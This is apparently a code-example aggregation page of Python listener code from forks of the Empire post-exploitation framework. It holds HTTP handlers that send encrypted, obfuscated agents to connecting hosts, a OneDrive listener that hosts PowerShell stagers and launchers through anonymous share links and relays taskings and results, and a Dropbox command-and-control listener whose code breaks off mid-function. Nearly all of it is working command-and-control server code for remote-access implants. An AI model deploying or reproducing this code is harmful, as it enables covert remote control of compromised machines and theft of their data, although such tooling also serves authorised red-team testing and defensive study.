示例#1
0
        def handle_post(request_uri):
            """
            Handle an agent POST request.
            """

            stagingKey = listenerOptions['StagingKey']['Value']
            clientIP = request.remote_addr

            # the routing packet should be at the front of the binary request.data
            #   NOTE: this can also go into a cookie/etc.

            dataResults = self.mainMenu.agents.handle_agent_data(
                stagingKey, request.get_data(), listenerOptions, clientIP)
            #print dataResults
            if dataResults and len(dataResults) > 0:
                for (language, results) in dataResults:
                    if results:
                        if results.startswith('STAGE2'):
                            # TODO: document the exact results structure returned
                            sessionID = results.split(' ')[1].strip()
                            sessionKey = self.mainMenu.agents.agents[
                                sessionID]['sessionKey']
                            dispatcher.send(
                                "[*] Sending agent (stage 2) to %s at %s" %
                                (sessionID, clientIP),
                                sender='listeners/http')

                            # step 6 of negotiation -> server sends patched agent.ps1/agent.py
                            agentCode = self.generate_agent(
                                language=language,
                                listenerOptions=listenerOptions)
                            encryptedAgent = encryption.aes_encrypt_then_hmac(
                                sessionKey, agentCode)
                            # TODO: wrap ^ in a routing packet?

                            return make_response(encryptedAgent, 200)

                        elif results[:10].lower().startswith(
                                'error') or results[:10].lower().startswith(
                                    'exception'):
                            dispatcher.send(
                                "[!] Error returned for results by %s : %s" %
                                (clientIP, results),
                                sender='listeners/http')
                            return make_response(self.default_response(), 200)
                        elif results == 'VALID':
                            dispatcher.send("[*] Valid results return by %s" %
                                            (clientIP),
                                            sender='listeners/http')
                            return make_response(self.default_response(), 200)
                        else:
                            return make_response(results, 200)
                    else:
                        return make_response(self.default_response(), 200)
            else:
                return make_response(self.default_response(), 200)
示例#2
0
文件: http.py 项目: leoloobeek/Empire
        def handle_post(request_uri):
            """
            Handle an agent POST request.
            """

            stagingKey = listenerOptions['StagingKey']['Value']
            clientIP = request.remote_addr

            requestData = request.get_data()
            dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http')

            # the routing packet should be at the front of the binary request.data
            #   NOTE: this can also go into a cookie/etc.
            dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP)
            if dataResults and len(dataResults) > 0:
                for (language, results) in dataResults:
                    if results:
                        if results.startswith('STAGE2'):
                            # TODO: document the exact results structure returned
                            if ':' in clientIP:
                                clientIP = '[' + str(clientIP) + ']'
                            sessionID = results.split(' ')[1].strip()
                            sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
                            dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')

                            hopListenerName = request.headers.get('Hop-Name')
                            try:
                                hopListener = helpers.get_listener_options(hopListenerName)
                                tempListenerOptions = copy.deepcopy(listenerOptions)
                                tempListenerOptions['Host']['Value'] = hopListener['Host']['Value']
                            except TypeError:
                                tempListenerOptions = listenerOptions

                            # step 6 of negotiation -> server sends patched agent.ps1/agent.py
                            agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
                            encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
                            # TODO: wrap ^ in a routing packet?

                            return make_response(encryptedAgent, 200)

                        elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
                            dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http')
                            return make_response(self.default_response(), 200)
                        elif results == 'VALID':
                            dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http')
                            return make_response(self.default_response(), 200)
                        else:
                            return make_response(results, 200)
                    else:
                        return make_response(self.default_response(), 200)
            else:
                return make_response(self.default_response(), 200)
示例#3
0
文件: http.py 项目: RaymondHessel/PSE
        def handle_post(request_uri):
            """
            Handle an agent POST request.
            """

            stagingKey = listenerOptions['StagingKey']['Value']
            clientIP = request.remote_addr

            requestData = request.get_data()
            dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http')

            # the routing packet should be at the front of the binary request.data
            #   NOTE: this can also go into a cookie/etc.
            dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP)
            if dataResults and len(dataResults) > 0:
                for (language, results) in dataResults:
                    if results:
                        if results.startswith('STAGE2'):
                            # TODO: document the exact results structure returned
                            if ':' in clientIP:
                                clientIP = '[' + str(clientIP) + ']'
                            sessionID = results.split(' ')[1].strip()
                            sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
                            dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')

                            hopListenerName = request.headers.get('Hop-Name')
                            try:
                                hopListener = helpers.get_listener_options(hopListenerName)
                                tempListenerOptions = copy.deepcopy(listenerOptions)
                                tempListenerOptions['Host']['Value'] = hopListener['Host']['Value']
                            except TypeError:
                                tempListenerOptions = listenerOptions

                            # step 6 of negotiation -> server sends patched agent.ps1/agent.py
                            agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
                            encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
                            # TODO: wrap ^ in a routing packet?

                            return make_response(encryptedAgent, 200)

                        elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
                            dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http')
                            return make_response(self.default_response(), 200)
                        elif results == 'VALID':
                            dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http')
                            return make_response(self.default_response(), 200)
                        else:
                            return make_response(results, 200)
                    else:
                        return make_response(self.default_response(), 200)
            else:
                return make_response(self.default_response(), 200)
示例#4
0
        def handle_post(request_uri):
            """
            Handle an agent POST request.
            """

            stagingKey = listenerOptions['StagingKey']['Value']
            clientIP = request.remote_addr

            # the routing packet should be at the front of the binary request.data
            #   NOTE: this can also go into a cookie/etc.
            try:
                requestData = base64.b64decode(request.get_data())
            except:
                requestData = None

            dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP)
            if dataResults and len(dataResults) > 0:
                for (language, results) in dataResults:
                    if results:
                        if results.startswith('STAGE2'):
                            # TODO: document the exact results structure returned
                            sessionID = results.split(' ')[1].strip()
                            sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
                            dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http_com')

                            # step 6 of negotiation -> server sends patched agent.ps1/agent.py
                            agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
                            encrypted_agent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
                            # TODO: wrap ^ in a routing packet?

                            return make_response(base64.b64encode(encrypted_agent), 200)

                        elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
                            dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com')
                            return make_response(self.default_response(), 200)
                        elif results == 'VALID':
                            dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com')
                            return make_response(self.default_response(), 200)
                        else:
                            return make_response(base64.b64encode(results), 200)
                    else:
                        return make_response(self.default_response(), 200)
            else:
                return make_response(self.default_response(), 200)
示例#5
0
    def start_server(self, listenerOptions):

        # Utility functions to handle auth tasks and initial setup
        def get_token(client_id, client_secret, code):
            params = {
                'client_id': client_id,
                'client_secret': client_secret,
                'grant_type': 'authorization_code',
                'scope': 'files.readwrite offline_access',
                'code': code,
                'redirect_uri': redirect_uri
            }
            try:
                r = s.post(
                    'https://login.microsoftonline.com/common/oauth2/v2.0/token',
                    data=params)
                r_token = r.json()
                r_token['expires_at'] = time.time() + (int)(
                    r_token['expires_in']) - 15
                r_token['update'] = True
                return r_token
            except KeyError as e:
                print(
                    helpers.color(
                        "[!] Something went wrong, HTTP response %d, error code %s: %s"
                        % (r.status_code, r.json()['error_codes'],
                           r.json()['error_description'])))
                raise

        def renew_token(client_id, client_secret, refresh_token):
            params = {
                'client_id': client_id,
                'client_secret': client_secret,
                'grant_type': 'refresh_token',
                'scope': 'files.readwrite offline_access',
                'refresh_token': refresh_token,
                'redirect_uri': redirect_uri
            }
            try:
                r = s.post(
                    'https://login.microsoftonline.com/common/oauth2/v2.0/token',
                    data=params)
                r_token = r.json()
                r_token['expires_at'] = time.time() + (int)(
                    r_token['expires_in']) - 15
                r_token['update'] = True
                return r_token
            except KeyError as e:
                print(
                    helpers.color(
                        "[!] Something went wrong, HTTP response %d, error code %s: %s"
                        % (r.status_code, r.json()['error_codes'],
                           r.json()['error_description'])))
                raise

        def test_token(token):
            headers = s.headers.copy()
            headers['Authorization'] = 'Bearer ' + token

            request = s.get("%s/drive" % base_url, headers=headers)

            return request.ok

        def setup_folders():
            if not (test_token(token['access_token'])):
                raise ValueError(
                    "Could not set up folders, access token invalid")

            base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder))
            if not (base_object.status_code == 200):
                print(helpers.color("[*] Creating %s folder" % base_folder))
                params = {
                    '@microsoft.graph.conflictBehavior': 'rename',
                    'folder': {},
                    'name': base_folder
                }
                base_object = s.post("%s/drive/items/root/children" % base_url,
                                     json=params)
            else:
                message = "[*] {} folder already exists".format(base_folder)
                signal = json.dumps({'print': True, 'message': message})
                dispatcher.send(
                    signal,
                    sender="listeners/onedrive/{}".format(listener_name))

            for item in [staging_folder, taskings_folder, results_folder]:
                item_object = s.get("%s/drive/root:/%s/%s" %
                                    (base_url, base_folder, item))
                if not (item_object.status_code == 200):
                    print(
                        helpers.color("[*] Creating %s/%s folder" %
                                      (base_folder, item)))
                    params = {
                        '@microsoft.graph.conflictBehavior': 'rename',
                        'folder': {},
                        'name': item
                    }
                    item_object = s.post("%s/drive/items/%s/children" %
                                         (base_url, base_object.json()['id']),
                                         json=params)
                else:
                    message = "[*] {}/{} already exists".format(
                        base_folder, item)
                    signal = json.dumps({'print': True, 'message': message})
                    dispatcher.send(
                        signal,
                        sender="listeners/onedrive/{}".format(listener_name))

        def upload_launcher():
            ps_launcher = self.mainMenu.stagers.generate_launcher(
                listener_name,
                language='powershell',
                encode=False,
                userAgent='none',
                proxy='none',
                proxyCreds='none')

            r = s.put(
                "%s/drive/root:/%s/%s/%s:/content" %
                (base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
                data=ps_launcher,
                headers={"Content-Type": "text/plain"})

            if r.status_code == 201 or r.status_code == 200:
                item = r.json()
                r = s.post("%s/drive/items/%s/createLink" %
                           (base_url, item['id']),
                           json={
                               "scope": "anonymous",
                               "type": "view"
                           },
                           headers={"Content-Type": "application/json"})
                launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json(
                )['shareId']

        def upload_stager():
            ps_stager = self.generate_stager(listenerOptions=listener_options,
                                             language='powershell',
                                             token=token['access_token'])
            r = s.put("%s/drive/root:/%s/%s/%s:/content" %
                      (base_url, base_folder, staging_folder, "STAGE0-PS.txt"),
                      data=ps_stager,
                      headers={"Content-Type": "application/octet-stream"})
            if r.status_code == 201 or r.status_code == 200:
                item = r.json()
                r = s.post("%s/drive/items/%s/createLink" %
                           (base_url, item['id']),
                           json={
                               "scope": "anonymous",
                               "type": "view"
                           },
                           headers={"Content-Type": "application/json"})
                stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json(
                )['shareId']
                # Different domain for some reason?
                self.mainMenu.listeners.activeListeners[listener_name][
                    'stager_url'] = stager_url

            else:
                print(
                    helpers.color("[!] Something went wrong uploading stager"))
                message = r.content
                signal = json.dumps({'print': True, 'message': message})
                dispatcher.send(
                    signal,
                    sender="listeners/onedrive/{}".format(listener_name))

        listener_options = copy.deepcopy(listenerOptions)

        listener_name = listener_options['Name']['Value']
        staging_key = listener_options['StagingKey']['Value']
        poll_interval = listener_options['PollInterval']['Value']
        client_id = listener_options['ClientID']['Value']
        client_secret = listener_options['ClientSecret']['Value']
        auth_code = listener_options['AuthCode']['Value']
        refresh_token = listener_options['RefreshToken']['Value']
        base_folder = listener_options['BaseFolder']['Value']
        staging_folder = listener_options['StagingFolder']['Value'].strip('/')
        taskings_folder = listener_options['TaskingsFolder']['Value'].strip(
            '/')
        results_folder = listener_options['ResultsFolder']['Value'].strip('/')
        redirect_uri = listener_options['RedirectURI']['Value']
        base_url = "https://graph.microsoft.com/v1.0"

        s = Session()

        if refresh_token:
            token = renew_token(client_id, client_secret, refresh_token)
            message = "[*] Refreshed auth token"
            signal = json.dumps({'print': True, 'message': message})
            dispatcher.send(
                signal, sender="listeners/onedrive/{}".format(listener_name))
        else:
            token = get_token(client_id, client_secret, auth_code)
            message = "[*] Got new auth token"
            signal = json.dumps({'print': True, 'message': message})
            dispatcher.send(signal, sender="listeners/onedrive")

        s.headers['Authorization'] = "Bearer " + token['access_token']

        setup_folders()

        while True:
            # Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
            try:
                if listener_name in list(
                        self.mainMenu.listeners.activeListeners.keys()):
                    upload_stager()
                    upload_launcher()
                    break
                else:
                    time.sleep(1)
            except AttributeError:
                time.sleep(1)

        while True:
            time.sleep(int(poll_interval))
            try:  # Wrap the whole loop in a try/catch so one error won't kill the listener
                if time.time() > token[
                        'expires_at']:  # Get a new token if the current one has expired
                    token = renew_token(client_id, client_secret,
                                        token['refresh_token'])
                    s.headers[
                        'Authorization'] = "Bearer " + token['access_token']
                    message = "[*] Refreshed auth token"
                    signal = json.dumps({'print': True, 'message': message})
                    dispatcher.send(
                        signal,
                        sender="listeners/onedrive/{}".format(listener_name))
                    upload_stager()
                if token['update']:
                    self.mainMenu.listeners.update_listener_options(
                        listener_name, "RefreshToken", token['refresh_token'])
                    token['update'] = False

                search = s.get("%s/drive/root:/%s/%s?expand=children" %
                               (base_url, base_folder, staging_folder))
                for item in search.json(
                )['children']:  # Iterate all items in the staging folder
                    try:
                        reg = re.search("^([A-Z0-9]+)_([0-9]).txt",
                                        item['name'])
                        if not reg:
                            continue
                        agent_name, stage = reg.groups()
                        if stage == '1':  # Download stage 1, upload stage 2
                            message = "[*] Downloading {}/{}/{} {}".format(
                                base_folder, staging_folder, item['name'],
                                item['size'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            content = s.get(
                                item['@microsoft.graph.downloadUrl']).content
                            lang, return_val = \
                            self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
                            message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(
                                base_folder, staging_folder, agent_name,
                                str(len(return_val)))
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" %
                                  (base_url, base_folder, staging_folder,
                                   agent_name),
                                  data=return_val)
                            message = "[*] Deleting {}/{}/{}".format(
                                base_folder, staging_folder, item['name'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            s.delete("%s/drive/items/%s" %
                                     (base_url, item['id']))

                        if stage == '3':  # Download stage 3, upload stage 4 (full agent code)
                            message = "[*] Downloading {}/{}/{}, {} bytes".format(
                                base_folder, staging_folder, item['name'],
                                item['size'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            content = s.get(
                                item['@microsoft.graph.downloadUrl']).content
                            lang, return_val = \
                            self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]

                            session_key = self.mainMenu.agents.agents[
                                agent_name]['sessionKey']
                            agent_token = renew_token(
                                client_id, client_secret,
                                token['refresh_token']
                            )  # Get auth and refresh tokens for the agent to use
                            agent_code = str(
                                self.generate_agent(
                                    listener_options, client_id, client_secret,
                                    agent_token['access_token'],
                                    agent_token['refresh_token'], redirect_uri,
                                    lang))
                            enc_code = encryption.aes_encrypt_then_hmac(
                                session_key, agent_code)

                            message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(
                                base_folder, staging_folder, agent_name,
                                str(len(enc_code)))
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" %
                                  (base_url, base_folder, staging_folder,
                                   agent_name),
                                  data=enc_code)
                            message = "[*] Deleting {}/{}/{}".format(
                                base_folder, staging_folder, item['name'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            s.delete("%s/drive/items/%s" %
                                     (base_url, item['id']))

                    except Exception as e:
                        print(
                            helpers.color(
                                "[!] Could not handle agent staging for listener %s, continuing"
                                % listener_name))
                        message = traceback.format_exc()
                        signal = json.dumps({
                            'print': False,
                            'message': message
                        })
                        dispatcher.send(signal,
                                        sender="listeners/onedrive/{}".format(
                                            listener_name))

                agent_ids = self.mainMenu.agents.get_agents_for_listener(
                    listener_name)

                for agent_id in agent_ids:  # Upload any tasks for the current agents
                    if isinstance(agent_id, bytes):
                        agent_id = agent_id.decode('UTF-8')
                    task_data = self.mainMenu.agents.handle_agent_request(
                        agent_id,
                        'powershell',
                        staging_key,
                        update_lastseen=True)
                    if task_data:
                        try:
                            r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" %
                                      (base_url, base_folder, taskings_folder,
                                       agent_id))
                            if r.status_code == 200:  # If there's already something there, download and append the new data
                                task_data = r.content + task_data

                            message = "[*] Uploading agent tasks for {}, {} bytes".format(
                                agent_id, str(len(task_data)))
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))

                            r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" %
                                      (base_url, base_folder, taskings_folder,
                                       agent_id),
                                      data=task_data)
                        except Exception as e:
                            message = "[!] Error uploading agent tasks for {}, {}".format(
                                agent_id, e)
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))

                search = s.get("%s/drive/root:/%s/%s?expand=children" %
                               (base_url, base_folder, results_folder))
                for item in search.json(
                )['children']:  # For each file in the results folder
                    try:
                        agent_id = item['name'].split(".")[0]

                        for i in range(len(agent_ids)):
                            agent_ids[i] = agent_ids[i].decode('UTF-8')

                        if not agent_id in agent_ids:  # If we don't recognize that agent, upload a message to restage
                            print(
                                helpers.color(
                                    "[*] Invalid agent, deleting %s/%s and restaging"
                                    % (results_folder, item['name'])))
                            s.put("%s/drive/root:/%s/%s/%s.txt:/content" %
                                  (base_url, base_folder, taskings_folder,
                                   agent_id),
                                  data="RESTAGE")
                            s.delete("%s/drive/items/%s" %
                                     (base_url, item['id']))
                            continue

                        try:  # Update the agent's last seen time, from the file timestamp
                            seen_time = datetime.strptime(
                                item['lastModifiedDateTime'],
                                "%Y-%m-%dT%H:%M:%S.%fZ")
                        except:  # sometimes no ms for some reason...
                            seen_time = datetime.strptime(
                                item['lastModifiedDateTime'],
                                "%Y-%m-%dT%H:%M:%SZ")
                        seen_time = helpers.utc_to_local(seen_time)
                        self.mainMenu.agents.update_agent_lastseen_db(
                            agent_id, seen_time)

                        # If the agent is just checking in, the file will only be 1 byte, so no results to fetch
                        if (item['size'] > 1):
                            message = "[*] Downloading results from {}/{}, {} bytes".format(
                                results_folder, item['name'], item['size'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            r = s.get(item['@microsoft.graph.downloadUrl'])
                            self.mainMenu.agents.handle_agent_data(
                                staging_key,
                                r.content,
                                listener_options,
                                update_lastseen=True)
                            message = "[*] Deleting {}/{}".format(
                                results_folder, item['name'])
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/onedrive/{}".format(
                                    listener_name))
                            s.delete("%s/drive/items/%s" %
                                     (base_url, item['id']))
                    except Exception as e:
                        message = "[!] Error handling agent results for {}, {}".format(
                            item['name'], e)
                        signal = json.dumps({
                            'print': False,
                            'message': message
                        })
                        dispatcher.send(signal,
                                        sender="listeners/onedrive/{}".format(
                                            listener_name))

            except Exception as e:
                print(
                    helpers.color(
                        "[!] Something happened in listener %s: %s, continuing"
                        % (listener_name, e)))
                message = traceback.format_exc()
                signal = json.dumps({'print': False, 'message': message})
                dispatcher.send(
                    signal,
                    sender="listeners/onedrive/{}".format(listener_name))

            s.close()
示例#6
0
        def handle_post(request_uri):
            """
            Handle an agent POST request.
            """

            stagingKey = listenerOptions['StagingKey']['Value']
            clientIP = request.remote_addr

            # the routing packet should be at the front of the binary request.data
            #   NOTE: this can also go into a cookie/etc.
            try:
                requestData = base64.b64decode(request.get_data())
            except:
                requestData = None

            dataResults = self.mainMenu.agents.handle_agent_data(
                stagingKey, requestData, listenerOptions, clientIP)
            if dataResults and len(dataResults) > 0:
                for (language, results) in dataResults:
                    if isinstance(results, str):
                        results = results.encode('UTF-8')
                    if results:
                        if results.startswith(b'STAGE2'):
                            # TODO: document the exact results structure returned
                            sessionID = results.split(b' ')[1].strip().decode(
                                'UTF-8')
                            sessionKey = self.mainMenu.agents.agents[
                                sessionID]['sessionKey']

                            listenerName = self.options['Name']['Value']
                            message = "[*] Sending agent (stage 2) to {} at {}".format(
                                sessionID, clientIP)
                            signal = json.dumps({
                                'print': True,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/http_com/{}".format(
                                    listenerName))

                            # step 6 of negotiation -> server sends patched agent.ps1/agent.py
                            agentCode = self.generate_agent(
                                language=language,
                                listenerOptions=listenerOptions,
                                obfuscate=self.mainMenu.obfuscate,
                                obfuscationCommand=self.mainMenu.
                                obfuscateCommand)
                            encrypted_agent = encryption.aes_encrypt_then_hmac(
                                sessionKey, agentCode)
                            # TODO: wrap ^ in a routing packet?

                            return make_response(
                                base64.b64encode(encrypted_agent), 200)

                        elif results[:10].lower().startswith(
                                b'error') or results[:10].lower().startswith(
                                    b'exception'):
                            listenerName = self.options['Name']['Value']
                            message = "[!] Error returned for results by {} : {}".format(
                                clientIP, results)
                            signal = json.dumps({
                                'print': True,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/http_com/{}".format(
                                    listenerName))
                            return make_response(self.default_response(), 200)
                        elif results == b'VALID':
                            listenerName = self.options['Name']['Value']
                            message = "[*] Valid results return by {}".format(
                                clientIP)
                            signal = json.dumps({
                                'print': False,
                                'message': message
                            })
                            dispatcher.send(
                                signal,
                                sender="listeners/http_com/{}".format(
                                    listenerName))
                            return make_response(self.default_response(), 200)
                        else:
                            return make_response(base64.b64encode(results),
                                                 200)
                    else:
                        return make_response(self.default_response(), 404)
            else:
                return make_response(self.default_response(), 404)
示例#7
0
文件: dbx.py 项目: bneg/Empire
    def start_server(self, listenerOptions):
        """
        Threaded function that actually starts up polling server for Dropbox
        polling communication.

        ./Empire/
            ./staging/
                stager.ps1
                SESSION_[1-4].txt
            ./taskings/
                SESSIONID.txt
            ./results/
                SESSIONID.txt

        /Empire/staging/stager.ps1       -> RC4staging(stager.ps1) uploaded by server
        /Empire/staging/sessionID_1.txt  -> AESstaging(PublicKey) uploaded by client
        /Empire/staging/sessionID_2.txt  -> RSA(nonce+AESsession) uploaded by server
        /Empire/staging/sessionID_3.txt  -> AESsession(nonce+sysinfo) uploaded by client
        /Empire/staging/sessionID_4.txt  -> AESsession(agent.ps1) uploaded by server


        client                                              dropbox                             server
                                                                                        <- upload /Empire/staging/stager.ps1
        read /Empire/staging/stager                     ->
                                                        <-  return stager
        generate sessionID
        upload /Empire/staging/sessionID_1.txt          ->
                                                                                        <- read /Empire/staging/sessionID_1.txt
                                                                                        <- upload /Empire/staging/sessionID_2.txt
        read /Empire/staging/sessionID_2.txt            ->
                                                        <- /Empire/staging/sessionID_2.txt
        upload /Empire/staging/sessionID_3.txt          ->
                                                                                        <- read /Empire/staging/sessionID_3.txt
                                                                                        <- upload /Empire/staging/sessionID_4.txt
        read /Empire/staging/sessionID_4.txt            ->
                                                        <- /Empire/staging/sessionID_4.txt

        <start beaconing>
                                                                                        <- upload /Empire/taskings/sessionID.txt
        read /Empire/taskings/sessionID.txt             ->
                                                        <- /Empire/taskings/sessionID.txt
        delete /Empire/taskings/sessionID.txt           ->

        execute code
        upload /Empire/results/sessionID.txt            ->
                                                                                        <- read /Empire/results/sessionID.txt
                                                                                        <- delete /Empire/results/sessionID.txt

        """

        def download_file(dbx, path):
            # helper to download a file at the given path
            try:
                md, res = dbx.files_download(path)
            except dropbox.exceptions.HttpError as err:
                dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox")
                return None
            return res.content

        def upload_file(dbx, path, data):
            # helper to upload a file to the given path
            try:
                dbx.files_upload(data, path)
            except dropbox.exceptions.ApiError:
                dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox")

        def delete_file(dbx, path):
            # helper to delete a file at the given path
            try:
                dbx.files_delete(path)
            except dropbox.exceptions.ApiError:
                dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox")


        # make a copy of the currently set listener options for later stager/agent generation
        listenerOptions = copy.deepcopy(listenerOptions)

        stagingKey = listenerOptions['StagingKey']['Value']
        pollInterval = listenerOptions['PollInterval']['Value']
        apiToken = listenerOptions['APIToken']['Value']
        listenerName = listenerOptions['Name']['Value']
        baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
        stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
        taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
        resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))

        dbx = dropbox.Dropbox(apiToken)

        # ensure that the access token supplied is valid
        try:
            dbx.users_get_current_account()
        except dropbox.exceptions.AuthError as err:
            print helpers.color("[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web.")
            return False

        # setup the base folder structure we need
        try:
            dbx.files_create_folder(stagingFolder)
        except dropbox.exceptions.ApiError:
            dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox")
        try:
            dbx.files_create_folder(taskingsFolder)
        except dropbox.exceptions.ApiError:
            dispatcher.send("[*] Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox")
        try:
            dbx.files_create_folder(resultsFolder)
        except dropbox.exceptions.ApiError:
            dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox")

        # upload the stager.ps1 code
        stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell')
        stagerCodepy = self.generate_stager(listenerOptions=listenerOptions, language='python')
        try:
            # delete stager if it exists
            delete_file(dbx, "%s/debugps" % (stagingFolder))
            delete_file(dbx, "%s/debugpy" % (stagingFolder))
            dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder))
            dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder))
        except dropbox.exceptions.ApiError:
            print helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder))
            return

        while True:

            time.sleep(int(pollInterval))

            # search for anything in /Empire/staging/*
            for match in dbx.files_search(stagingFolder, "*.txt").matches:
                fileName = str(match.metadata.path_display)
                relName = fileName.split('/')[-1][:-4]
                sessionID, stage = relName.split('_')
                sessionID = sessionID.upper()

                if '_' in relName:
                    if stage == '1':
                        try:
                            md, res = dbx.files_download(fileName)
                        except dropbox.exceptions.HttpError as err:
                            dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
                            continue
                        stageData = res.content

                        dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions)
                        if dataResults and len(dataResults) > 0:
                            for (language, results) in dataResults:
                                # TODO: more error checking
                                try:
                                    dbx.files_delete(fileName)
                                except dropbox.exceptions.ApiError:
                                    dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
                                try:
                                    stageName = "%s/%s_2.txt" % (stagingFolder, sessionID)
                                    dispatcher.send("[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
                                    dbx.files_upload(results, stageName)
                                except dropbox.exceptions.ApiError:
                                    dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")

                    if stage == '3':
                        try:
                            md, res = dbx.files_download(fileName)
                        except dropbox.exceptions.HttpError as err:
                            dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
                            continue
                        stageData = res.content

                        dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions)
                        if dataResults and len(dataResults) > 0:
                            # print "dataResults:",dataResults
                            for (language, results) in dataResults:
                                if results.startswith('STAGE2'):
                                    sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
                                    dispatcher.send("[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx')

                                    try:
                                        dbx.files_delete(fileName)
                                    except dropbox.exceptions.ApiError:
                                        dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")

                                    try:
                                        fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID))
